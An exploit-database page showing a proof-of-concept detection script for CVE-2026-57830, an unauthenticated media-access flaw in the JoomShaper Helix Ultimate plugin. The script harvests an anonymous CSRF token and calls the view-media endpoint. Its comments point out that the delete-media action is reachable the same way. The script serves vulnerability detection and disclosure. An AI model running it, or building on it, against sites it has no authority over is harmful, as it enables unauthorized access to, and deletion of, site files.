Exploit database

GH-f3a9eceaff85ef3c33a06248dfc7e5be

is4yev/cve-2026-57830

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-57830

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
is4yev/cve-2026-57830Revision e8352558708e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

helix_ultimate_detect.py

Python · 3,702 bytes
#!/usr/bin/env python3
"""
Helix Ultimate Framework (JoomShaper) - Unauthenticated Media Access - DETECTION (non-destructive)
Affected: plg_system_helixultimate <= 2.2.6 (current, unpatched as of 2026-07)
Author  : Amin Isayev / Proxima Cyber Security

VULNERABILITY:
  plugins/system/helixultimate/src/Platform/Media.php::getFolders() / deleteMedia() / createFolder()
  are reachable via option=com_ajax&helix=ultimate&request=task&action=<...> with ONLY a CSRF
  check (Session::checkToken()) - no authorise()/login check at all. Any anonymous visitor can
  harvest a valid CSRF token from the site's own homepage HTML and use it here.

THIS SCRIPT ONLY DETECTS. It calls action=view-media (a read-only folder/file listing) to prove
unauthenticated access to the Media class. It never deletes or modifies anything.

Only run this against systems you own or have explicit authorization to test.

Usage:
    python3 helix_ultimate_detect.py https://target.com
"""

import sys
import re
import argparse
import requests
import urllib3

urllib3.disable_warnings()

TOKEN_RE = re.compile(r'csrf\.token"\s*:\s*"([a-f0-9]{32})"')
HIDDEN_TOKEN_RE = re.compile(r'name="([a-f0-9]{32})"\s+value="1"')


def get_anon_csrf_token(session, base_url):
    r = session.get(base_url, timeout=10, allow_redirects=True)
    m = TOKEN_RE.search(r.text) or HIDDEN_TOKEN_RE.search(r.text)
    if not m:
        return None
    return m.group(1)


def detect(base_url, timeout=10):
    base_url = base_url.rstrip('/')
    session = requests.Session()
    session.verify = False
    session.headers.update({"User-Agent": "Mozilla/5.0"})

    token = get_anon_csrf_token(session, base_url)
    if not token:
        return False, "Could not extract csrf.token from homepage - site may not be Joomla, or markup differs"

    endpoint = f"{base_url}/index.php"
    params = {
        "option": "com_ajax",
        "helix": "ultimate",
        "request": "task",
        "action": "view-media",
    }
    data = {
        "path": "/images",
        token: "1",
    }

    r = session.post(endpoint, params=params, data=data, timeout=timeout)

    try:
        body = r.json()
    except ValueError:
        return False, f"Non-JSON response (HTTP {r.status_code}) - plugin likely not installed/enabled"

    if body.get("status") is True and ("images" in body or "folders" in body):
        return True, (
            f"VULNERABLE - unauthenticated call to Media::getFolders() succeeded. "
            f"Folders found: {body.get('folders')} | Images found: {len(body.get('images', []))}"
        )

    if "JINVALID_TOKEN" in str(body) or body.get("status") is False:
        return False, f"Call rejected: {body}"

    return False, f"Inconclusive response: {body}"


def run_single(target):
    print(f"[*] Target: {target}")
    print("[*] Fetching homepage to harvest anonymous CSRF token ...")
    try:
        vulnerable, reason = detect(target)
    except requests.RequestException as e:
        print(f"\n[ERROR] {e}")
        sys.exit(2)

    if vulnerable:
        print(f"\n[VULNERABLE] {reason}")
        print("[!] This also means action=delete-media (arbitrary file/folder delete) is reachable unauthenticated.")
        print("[!] Do NOT run the destructive PoC without written authorization.")
        sys.exit(1)
    else:
        print(f"\n[NOT VULNERABLE / INCONCLUSIVE] {reason}")
        sys.exit(0)


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("target", help="Target base URL, e.g. https://target.com")
    args = parser.parse_args()

    run_single(args.target)


if __name__ == "__main__":
    main()